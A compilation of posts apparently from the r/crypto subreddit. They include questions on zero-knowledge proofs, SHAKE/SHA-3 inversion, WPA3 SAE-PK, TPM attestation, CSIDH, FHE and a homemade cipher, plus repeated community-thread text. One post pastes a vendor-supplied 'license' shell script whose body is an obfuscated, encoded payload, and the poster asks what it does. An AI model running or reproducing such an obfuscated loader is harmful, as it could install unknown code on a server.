Cryptography

The FALCON signature scheme uses polynomials modulo x^n - 1. So 1 + x^3 + x^(n+3) becomes 1 + 2x^3 And modular arithmetic still works when you roll your polynomials up like this. (Not relevant, just giving the inspiration for this question.)

Zero knowledge proofs operate on gigantic polynomials, that are known by both prover and verifier.

Can both parties just agree to work modulo x^700 - 1 for example?

Real world zero-knowledge provers require 100s of gigabytes of RAM and are painfully slow.

Extending this, the verifier could specify the exponent N. They could even specify a dozen exponents and get a dozen proofs to really capture the constraints of the problem.

Welcome to /r/crypto's weekly community thread!

This thread is a place where people can freely discuss broader topics (but NO cryptocurrency spam, see the sidebar), perhaps even share some memes (but please keep the worst offenses contained to /r/shittycrypto), engage with the community, discuss meta topics regarding the subreddit itself (such as discussing the customs and subreddit rules, etc), etc.

Keep in mind that the standard reddiquette rules still apply, i.e. be friendly and constructive!

So, what's on your mind? Comment below!

I followed the following blog post

https://medium.com/@VitalikButerin/quadratic-arithmetic-programs-from-zero-to-hero-f6d558cea649

You start with some problem f(y) = 0, where y is some group of values and f could be just about any problem, maybe 'find a set of values y_i for the squares in this Sudoku', or 'Hash(y) - hashVal'

You want to convince someone you know y without revealing it.

You convert f() into a 'recipe' of very steps, 'add y_a and y_b to get val1' then 'multiply val1 and y_b to get val2'.

List out those steps as a series of constraints:

y_a + y_b = val1

val1 * y_b = val2

etc.

Now as the prover, actually input the value of x you know to get the values for val1, val2 etc.

Produce a big secret vector s of all inputs and intermediate values that appear in the constraints (1, y_0, y_1, ... y_n, val1, val2, val3 ...)

Construct a giant matrix equation of the form

As . Bs - Cs = 0

where rows of A and B have one or two non-zero values, and rows of C have one non-zero value, and '.' is a element-wise product.

Multiply this out to get the constraints back, to double-check you didn't mess up.

Each row i = {1, 2, 3, ... n} encodes a constraint.

We now replace the matrices with polynomials (a + bx + cx^2 ...)

s.A(x) * s.B(x) - s.C(x)

We check we didn't mess up by inserting values of x = {1, 2, 3 ... n}, which, by design, should give us our list of constraints back, and evaluate to 0.

Z = (x-1))(x-2)(x-3)...(x-n) evaluates to 0 when x = {1, 2, 3 ... n}, and so we can set the right hand side to be some polynomial times this

s.A(x) * s.B(x) - s.C(x) = H(x) * Z(x)

We now divide by Z(x) to get H(x) + some remainder.

If the remainder is non-zero then something went wrong. Does that mean that if the remainder is 0, then we can present the polynomials, A, B, C, H as a zero-knowledge proof that we knew y?

Verification starts by constructing the constraints from f(), check that they match A, B, C.

Then what? The verifier doesn't have access to s to verify the equation.

What can we give the verifier to verify the equation? I'm not fussed about keeping the proof succinct or performant. I'm just learning. Something intuitive but maybe broken is the checkpoint I need

SHAKE’s security relies on the fact that 256 bits of the output are destroyed, and 256 bits of the input are fixed to 0 and cannot be chosen by the individual performing the hash.

F1600 is not uniquely invertible, it is nevertheless invertible: from an output, you can calculate some input that produces that output.

If you start from some hash, fill out the rest of the F1600 state arbitrarily and try to perform this inversion, you’ll get an input where the last 256 bits of the state are not 0 and so this input is not an allowed preimage.

The χ step of the inversion gives you freedom to set specific bits in the f1600 input. If we could just figure out some set of choices here that sets the 256 end bits of the ‘input’ to 0, we have a way to create SHA3 collisions!

What makes this hard to do?

Seem not to be working after review http://www.chenyilei.net/

This is another installment in a series of monthly recurring cryptography wishlist threads.

The purpose is to let people freely discuss what future developments they like to see in fields related to cryptography, including things like algorithms, cryptanalysis, software and hardware implementations, usable UX, protocols and more.

So start posting what you'd like to see below!

I've tried to buy a panel license from a vendor but it gave me a .sh file to run on my server. Inside the file there is the code below. What is it and what does it do?

gH4="Ed";kM0="xSz";c="ch";L="4";rQW="";fE1="lQ";s=" 'KkmZKEDJgUGdhRGcVNkUv4Wai9iczV3LgAiCuVGa0ByOdBiIiASPhAiIxQiIgsFImlmClRXYkBXVDJ1LulmYvI3c19CI4tCIk9WboNmCKkmZKEjJ+IDIsxWdu9idlR2Lg4DIvwWYj9GbvI3c19CIk1CIwlmeu4USCNkUvwWYj9GbvI3c19CIwlmeuVnCxYiPyACbsVnbvYXZk9CI+ACcppnLOlkQDJ1LylmLyVGduV2YyVGbsV2clJnLy9mcylWbv8iOzBHd0hGIwlmeu4USCNkUvwWYj9GbvI3c19CIP1CI0V2Z3pgblhGdK0FIOlkQDJ1LsF2Yvx2LyNXdvACZtASIgsFImlmCKkmZKISfD50ekAiLkVGbpFmZgcmbpRWYvxmb39GRgUGbpZUfEVkU7RiIgUWLg8GajVGIgoQZzxWZKkmZgAiCi03QOtHJgQncvBHc1NHI0NWY052bDBiLk5WdvZGI09mbgUGdhRGcVNkUv4Wai9iczV3LgUGbpZEI9RURStHJiASZtAyboNWZgACIgogIuxlIg8GajVGIgACIKU2csVGIgoQamBCIgAiCi03QOtHJgQncvBHc1NHI0NWY052bDBiLnUGdhRGcVNkUv4Wai9iczV3Lgg3KgQ2bth2YnASZ0V3YlhXZg8GdgQWZslWYGBSLg8DJgoTZk92YgQXa4VUfEVkU7RiIgUWLg8GajVGIgACIgAiCi4GXiAyboNWZgACIgACIK4WZoRHI70FIwASZu1CI/QCIbBiZpBCIgAiClRXYkBXVDJ1LulmYvI3c19CI4tCIk9WboNGIgACIK4WZoRHI70FIlRXYkBXVDJ1LulmYvI3c19CIm1CIbBiZpBCIKISfD50ekECZlRXZsBXbvNUfOVURSd0ekICIl1CIvh2YlBCIK4WZoRHI70FIwAScl1CI/QCIbBiZppQZ0FGZwV1QS9icp5iclRnblNmclxGblNXZy5icvJncp12LvozcwRHdoBSZ0F2YpZWa0JXZj1yajVGaj1ybu1SLgUGdhRGcVNkUv4Wai9iczV3Lg8ULgUTPzVWayRXLtASNx0Dd19WZtlGdt0CIxFXLgQXZndnCiAiLu4CIl1Wa0BSZt92cgU2ahRHI5FWbgQXagwyay92d0VmbgIXZ2JXZzBic19WegY2bgQWZlB3cgUGa0BibvByZulGZuVGclRkLu4SblR3c5NHI5JXYtlmcwByZulGZh9Gbud3bkBCdyFGdTJCIu1CIvh2YlpgCKkmZKkXLgMmMlJHIsxWY0NnbpBCZuFWbt92QlRWYydGc1RiC51CI2VGZtwmc1NmYpxGIsxWY0NnbpBCZuFWbt92QlRWYydGc1RiCuVGa0ByOdBiIgQXZn1CdwFmIg0TPgICZuFWbt92QlRWYydGc1RiIgsFImlGIgoQampQetAyYyUmcgwGbhR3culGIk5WYt12bDVGZhJ3ZwVHJKkXLgwWZ2VGZtwmc1NmYpxGIsxWY0NnbpBCZuFWbt92QlRWYydGc1RiCuVGa0ByOdBiIg0Wd5JCI90DIiQmbh1WbvNUZkFmcnBXdkICIbBiZpBCIKoQampgCpZGIgogC51CIzVGb1R2btRCIsxWY0NnbpBCZuFWbt92QlRWYydGc1RCIgACIKU2csVGIgoQetASZzxWZzVGb1R2btRCIsxWY0NnbpBCZuFWbt92QlRWYydGc1RCIgACIKUGdhRGc1BCdldWL0BXYg8GZ1NHIgACIKQ3cpxmLzV2YyV3bz9CdwF2LjRXZvACajV3b0BCIgAiCuVGa0ByOdBiIgQXZn1CdwFmIg0TPgICZuFWbt92QlRWYydGc1RiIgsFImlGIgogCpZGIgoQamBCIgAiCvBXZy5CblBXZvQmLz9GclJnLtVXevMGdl9CIicGfwRHdox3cwRHdox3ciASatACZlNHIgACIgAiClNHblBCIgAiC51CIlNXYlxWZy1CblBXZgwGbhR3culGItVXegACIgACIK4WZoRHI70FIvBXZy5CblBXZvQmLz9GclJnLtVXevMGdl9CIm1CIhAyWgYWagACIgogblhGdgsTXgICItVXeiASP9AiIk5WYt12bDVGZhJ3ZwVHJiAyWgYWagAiCK4WZoRHI70FIiICI90DIiMXZsVHZv1GJiASIgsFImlmCKkmZKkXLgMHbv9GdkACbsFGdz5WagQmbh1WbvNUZkFmcnBXdkACIK4WZoRHI70FIiICI90DIiMHbv9GdkICIhAyWgYWaKoQampwbwVmcukHdp5Wdt12bj1CbxNXet9CZuM3bwVmcu0Wd59yY0V2LgIyZ8BTPkVGbiFmblxXM9QWZsJWYuVGfzJCIp1CIkV2cgAiCuVGa0ByOdBybwVmcukHdp5Wdt12bj1CbxNXet9CZuM3bwVmcu0Wd59yY0V2LgYWLgsFImlmCK0nCiAXa65WdgISfzx2bvR3ek0zcs92b0BCIKIjJ+AiIuQWZsxWY0NnbpBCdv5GIzdCdpBCd1JGIwlmeuVFIlJXa1FXZyBSZXJCIvh2YlBCIKsHI8xHIxYiPyACbsVnbvYXZk9iPgAXa65WdgYXLgQmbh1WbvNmCK0nCiw2cz5WZw9GIi03cs92b0tHJ9MHbv9GdgAiCyYiPgIiLkVGbsFGdz5WagQ3buBycnQXagQXdiBCbzNnblB3bgUmcpVXclJHIldlIg8GajVGIgowegwHfgEjJ+IDIsxWdu9idlR2L+ACbzNnblB3bgYXLgQmbh1WbvNmCK0nCi8GZ1NHIi03cs92b0tHJ9MHbv9GdgAiCyYiPgIiLkVGbsFGdz5WagQ3buBycnQXagQXdiBybkV3cgUmcpVXclJHIldlIg8GajVGIgowegwHfgEjJ+IDIsxWdu9idlR2L+AybkV3cgYXLgQmbh1WbvNmCK0nCiwmc1NGIi03cs92b0tHJ9MHbv9GdgAiCyYiPgIiLkVGbsFGdz5WagQ3buBycnQXagQXdiBCbyV3YgUmcpVXclJHIldlIg8GajVGIgowegwHfgEjJ+IDIsxWdu9idlR2L+ACbyV3YgYXLgQmbh1WbvNmCK0nCiQXZndnI9MHbv9GdgAiCyYiPgIiLkVGbsFGdz5WagQ3buBycnQXagQXdiBCdld2dgUmcpVXclJHIldlIg8GajVGIgowegwHfgEjJ+IDIsxWdu9idlR2L+ACdld2dgYXLgQmbh1WbvNmCKIiI9MHbv9GdKIiI9MXZsVHZv1mCpZmCpZmCpZmCwEjLvNnLvRHc5J3YilGbvUnbn1Ce15Was1CN28lN4g3LilGbvACZlRWYvxmb39GRfBTMu82cu8GdwlncjJWas5yL092by9CIwNmCuVGa0pQXdBiKjFTZiBDMhRDO1U2YwYGN2YWMiRjZ1gTNxcDO2MzNjNGI9ASKiQWZkF2bs52dvR0XwEjLvNnLvRHc5J3YilGbu8Cdv9mcvICItV3c1QWboQCIbtFImlmCxYiPyACbsVnbvYXZk9CI+ACMx4ybz5yb0BXeyNmYpx2LylmLyVGduV2YyVGbsV2clJnLy9mcylWbgQWZkF2bs52dvR0XwEjLvNnLvRHc5J3YilGbu8Cdv9mcvAyTtACdld2dgAiCuVGa0ByOdBCMx4ybz5yb0BXeyNmYpx2L0YjYpx2LyNXdvAiZtASIgsFImlGIKkmZKkmZKATMu82cuw2czJWas9SdudWL4VnbpxWL0YzX2gDevIWas9CIkVGZh9Gbud3bE9FMx4ybz5CbzNnYpxmLvQ3bvJ3LgA3YgAiCuVGa0pQXdBiKmFTO4EWZyATM5IjMjVjY2EmMzU2Y1EmM4kzYzEmMwMDI9ASKiQWZkF2bs52dvR0XwEjLvNnLsN3cilGbu8Cdv9mcvICItV3c1QWboQCIbtFImlmCgEjJ+IDIsxWdu9idlR2Lg4DIwEjLvNnLsN3cilGbvIXauIXZ05WZjJXZsxWZzVmcuI3byJXatBCZlRWYvxmb39GRfBTMu82cuw2czJWas5yL092by9CIP1CI0V2Z3pgblhGdgsTXgATMu82cuw2czJWas9CN2IWas9iczV3LgYWLgECIbBiZpBiCKASMm4jMgwGb152L2VGZvAiPgATMu82cuw2czJWas9icp5iclRnblNmclxGblNXZy5icvJncp1GIkVGZh9Gbud3bE9FMx4ybz5CbzNnYpxmLvQ3bvJ3Lg8ULgQXZndHIgogIgQXZn1CdwFmI9Qmbh1WbvNUZkFmcnBXdgAiCuVGa0ByOdBSZzFWZsVmctM3bvMGdl9CIm1CIbBiZpxWZKkmZKkmZKATMu82cu8GdwlncjJWas9SdudWL4VnbpxWL0YzX2gDevIWas9CIkVGZh9Gbud3bE9FMx4ybz5yb0BXeyNmYpxmLvQ3bvJ3LgA3YK4WZoRnCd1FIqMWMlJGMwEGN4UTZjBjZ0YjZxIGNmVDO1EzN4YzM3M2Yg0DIpICZlRWYvxmb39GRfBTMu82cu8GdwlncjJWas5yL092by9iIg0WdzVDZthCJgs1WgYWaKEjJ+IDIsxWdu9idlR2Lg4DIwEjLvNnLvRHc5J3YilGbvIXauIXZ05WZjJXZsxWZzVmcuI3byJXatBCZlRWYvxmb39GRfBTMu82cu8GdwlncjJWas5yL092by9CIP1CI0V2Z3BCIK4WZoRHI70FIwEjLvNnLvRHc5J3YilGbvQjNilGbvI3c19CIm1CIhAyWgYWagoQampQampAMx4ybz5CbzNnYpx2L152ZtgXdulGbtQjNfZDO49iYpx2LgQWZkF2bs52dvR0XwEjLvNnLsN3cilGbu8Cdv9mcvACcjBCIK4WZoRnCd1FIqYWM5gTYlJDMxkjMyMWNiZTYyMTZjVTYygTOjNTYyAzMg0DIpICZlRWYvxmb39GRfBTMu82cuw2czJWas5yL092by9iIg0WdzVDZthCJgs1WgYWaKASMm4jMgwGb152L2VGZvAiPgATMu82cuw2czJWas9icp5iclRnblNmclxGblNXZy5icvJncp1GIkVGZh9Gbud3bE9FMx4ybz5CbzNnYpxmLvQ3bvJ3Lg8ULgQXZndnCuVGa0ByOdBCMx4ybz5CbzNnYpx2L0YjYpx2LyNXdvAiZtASIgsFImlGIKoAIxYiPyACbsVnbvYXZk9CI+ACMx4ybz5CbzNnYpx2LylmLyVGduV2YyVGbsV2clJnLy9mcylWbgQWZkF2bs52dvR0XwEjLvNnLsN3cilGbu8Cdv9mcvAyTtACdld2dgAiCiACdldWL0BXYi0DZuFWbt92QlRWYydGc1BCIK4WZoRHI70FIlNXYlxWZy1iYzx2LjRXZvAiZtAyWgYWasVmCpZmCpZmCwEjLvNnLvRHc5J3YilGbvQjNilGbvI3c19CIkVGZh9Gbud3bE9FMx4ybz5yb0BXeyNmYpxmLvQ3bvJ3LgA3YK4WZoRnCd1FIqMWMlJGMwEGN4UTZjBjZ0YjZxIGNmVDO1EzN4YzM3M2Yg0DIpICZlRWYvxmb39GRfBTMu82cu8GdwlncjJWas5yL092by9iIg0WdzVDZthCJgs1WgYWaKEjJ+IDIsxWdu9idlR2Lg4DIwEjLvNnLvRHc5J3YilGbvIXauIXZ05WZjJXZsxWZzVmcuI3byJXatBCZlRWYvxmb39GRfBTMu82cu8GdwlncjJWas5yL092by9CIP1CI0V2Z3BCIK4WZoRHI70FIwEjLvNnLvRHc5J3YilGbvQjNilGbvI3c19CIm1CIhAyWgYWagoQampQampAMx4ybz5CbzNnYpx2L0YjYpx2LyNXdvACZlRWYvxmb39GRfBTMu82cuw2czJWas5yL092by9CIwNGIgogblhGdK0VXgoiZxkDOhVmMwETOyIzY1ImNhJzMlNWNhJDO5M2MhJDMzASPgkiIkVGZh9Gbud3bE9FMx4ybz5CbzNnYpxmLvQ3bvJ3LiASb1NXNk1GKkAyWbBiZppAIxYiPyACbsVnbvYXZk9CI+ACMx4ybz5CbzNnYpx2LylmLyVGduV2YyVGbsV2clJnLy9mcylWbgQWZkF2bs52dvR0XwEjLvNnLsN3cilGbu8Cdv9mcvAyTtACdld2dK4WZoRHI70FIwEjLvNnLsN3cilGbvQjNilGbvI3c19CIm1CIhAyWgYWagogIg0Wd5JSPk5WYt12bDVGZhJ3ZwVHIgogblhGdgsTXgU2chVGblJXL0FGakVmcvMGdl9CIm1CIbBiZppgCiISPk5WYt12bDVGZhJ3ZwVnCKcSbws1MzADXn0zQOpwJtJzM7AzWzMDMcdSPOVURSdkCn0WMzsDMbNzMww1J9QURSpgCpZmCxACdphXZgAiCiECdy9GcwV3cggGdpdHI0NWY052bjBSZzFWZsBFIuAycu9WazJXZ2BCdpJWLyMDI0J3bwBXdzBicldmbvxGIv5GIldlIg8GajVGIgogblhGdgsTXdBiN4oSag0TPgg2YyFGJgs1WgYWaKoQKp1CIl1WYuVHKk0DajJXYKoQampQMgQXa4VGIgoQMm4jMgIiclNXdgQ3bvJHIhBSZiBCdzVXbgU3bZJCIvh2YlBCIK4WZoRHI70VXgADIl5WLgQUSVVEJgs1WgYWaKogLz1WZ0NXezByZul2cuV2YpxGIy9mZgMHduVWblJXa1FXZyBCdwlmcjNHIu9Wa0FGbsFGdz5WSgMiCoN3LulmYvEyI

I just learned about WPA3 SAE-PK, where Wi-Fi access points have a keypair, and the client can authenticate the access point using a digital signature. The signature can be verified because the public key's hash is part of the Wi-Fi password. This is meant to improve security in network where the Wi-Fi password is shared to many users and is basically public knowledge.

But what stops an attacker from setting up an AP without SAE-PK enabled, or even with WPA2? How does the client know the network is supposed to be protected by SAE-PK, if the only information it has is the SSID and the key, aka Wi-Fi password?

Thanks!

Welcome to /r/crypto's weekly community thread!

This thread is a place where people can freely discuss broader topics (but NO cryptocurrency spam, see the sidebar), perhaps even share some memes (but please keep the worst offenses contained to /r/shittycrypto), engage with the community, discuss meta topics regarding the subreddit itself (such as discussing the customs and subreddit rules, etc), etc.

Keep in mind that the standard reddiquette rules still apply, i.e. be friendly and constructive!

So, what's on your mind? Comment below!

Actually i thought of something very simple based on the following principle:

The function/algorithm which achieves defense against differential attacks must be different from the function/algorithm who uses the key.

Btw, this principle actually exist in AES (so it isn't really something new).Of course, the order in which this functions/algorithms are applied is: first, the one that achieves defense ; second, the ones that uses the key.The difference between this encryption system and AES would be that if the first function is positively provable than there is no need for multiple rounds.First i would choose plaintext size = ciphertext size = key size = 8192 bits.

In my opinion, the second function (the one that uses the key) is pretty boring; basically it can be any function that respects all properties of One Time Pad.Some specific example of such functions are:

1. XOR operation (my preferred choice)
2. modular addition/subtraction

For the first function (the one that achieves defense) i'm thinking about a simple function that flips 4097 bits for each bit changed/flipped inside the plaintext.The starting/default (plaintext ; ciphertext) pair is (000...000 ; 000...000) pair.Btw, it is easier to count the positions from 0 instead of 1.If bit (from plaintext) on the position i is changed/flipped. Than all bits (from ciphertext) from the positions:[i ; (i +4096) modulo 8192] closed rangeare changed/flipped.

The question is: What are the weaknesses of this symmetric encryption algorithm (knowing that you can encrypt as many blocks as you want using the same key in ECB mode of operation) ?

https://eprint.iacr.org/2024/555.pdf

Hopefully we can start a thread discussing insights and updates.

Welcome to /r/crypto's weekly community thread!

This thread is a place where people can freely discuss broader topics (but NO cryptocurrency spam, see the sidebar), perhaps even share some memes (but please keep the worst offenses contained to /r/shittycrypto), engage with the community, discuss meta topics regarding the subreddit itself (such as discussing the customs and subreddit rules, etc), etc.

Keep in mind that the standard reddiquette rules still apply, i.e. be friendly and constructive!

So, what's on your mind? Comment below!

My understanding of TPM is there are essentially 3 parties:

1. Manufacturer, e.g. ASUS
2. The cloud provider, or owner of a host machine which contains a TPM manufactured by ASUS, call her Eve
3. The relying party, Bob

The short of what I'm trying to understand is this. Supposing Bob trusts ASUS the manufacturer, and does not trust Eve, can Bob be assured that Eve is running an application he created as is, with nothing else?

So suppose Bob is developing some web application, call it Survey Ape. Bob makes a build for Survey Ape and loads it into a custom linux image so that if he puts that image on his own HDD it will load linux and auto-start Survey Ape. He sends that build to Eve to run on her host machine. I think the TPM can be used to assure Bob that Eve is in fact running untampered ASUS hardware. But can the TPM attestations also be used to assure Bob that Eve did not modify the linux image before loading it into the hard drive, perhaps changing Survey Ape to harvest credentials?

Suggestions for further reading are appreciated.

Hello, recently I came across "A Friendly Introduction to Supersingular Isogeny Diffie-Hellman" to SIDH by David Urbanik (link). His explanation was very digestible for a layman like me and gave a very clear overview on how SIDH works.

I'm currently looking for something similar but for CSIDH. Many papers on CSIDH assume too much mathematical background for me which makes it very difficult for me to understand what's happening. Does anyone know of a high level overview of CSIDH that assumes a similar mathematical background like Urbanik's?

Particularly, from what I understand, CSIDH works by commutative group action where the group is isogenies acting on some elliptic curve E0. What I'm confused is:

1. How are the isogenies constructed?
2. How do isogenies even compose and commute: say I have phi: E0 -> E1 and tau: E0 -> E2, how would (phi . tau) even makes sense, let alone being equivalent to (tau . phi), when the domains and codomains don't even match?
3. An extension to 2: what even is the group? I can't convince myself isogenies would form a group under composition since composition doesn't make sense.
4. Wouldn't algebraic actions like this be suspectable to quantum attacks? Or is it okay for CSIDH specifically because we aren't sending group elements, but rather elements which is being acted on by a group?

SW5zZXJ0IEFwcmlsIEZvb2xzJyBqb2tlIGhlcmU=

Edit: Oops! Looks like today's post was lost in a supply chain attack! Sorry about that, we moderators know you were looking forward to the yearly traditional post, we promise we will review our security practices for next year so it doesn't happen again! Fortunately our brief internal review says no user data was lost, so there's nothing for you to worry about.

Welcome to /r/crypto's weekly community thread!

This thread is a place where people can freely discuss broader topics (but NO cryptocurrency spam, see the sidebar), perhaps even share some memes (but please keep the worst offenses contained to /r/shittycrypto), engage with the community, discuss meta topics regarding the subreddit itself (such as discussing the customs and subreddit rules, etc), etc.

Keep in mind that the standard reddiquette rules still apply, i.e. be friendly and constructive!

So, what's on your mind? Comment below!

Welcome to /r/crypto's weekly community thread!

This thread is a place where people can freely discuss broader topics (but NO cryptocurrency spam, see the sidebar), perhaps even share some memes (but please keep the worst offenses contained to /r/shittycrypto), engage with the community, discuss meta topics regarding the subreddit itself (such as discussing the customs and subreddit rules, etc), etc.

Keep in mind that the standard reddiquette rules still apply, i.e. be friendly and constructive!

So, what's on your mind? Comment below!

I looked at FHE more than 5 years ago and it was not quite there to be useful yet. Microsoft had their SEAL library but nothing outside of that. I think things have changed and it's usable now. How can I get up to date on this topic, papers, blogs, source code, libraries I can read?

From openssl-project/2024-March/003285

This webinar is designed to take you from an understanding of basic cryptography concepts to writing your first secure application using OpenSSL. It's the perfect starting point for anyone looking to dive into the world of secure application development.

Event Details

• Date: Mar 28, 2024
• Time: 09:00 AM Pacific Time (US and Canada)
• Location: Online (Zoom)

Check the mailing list for registration link and full info!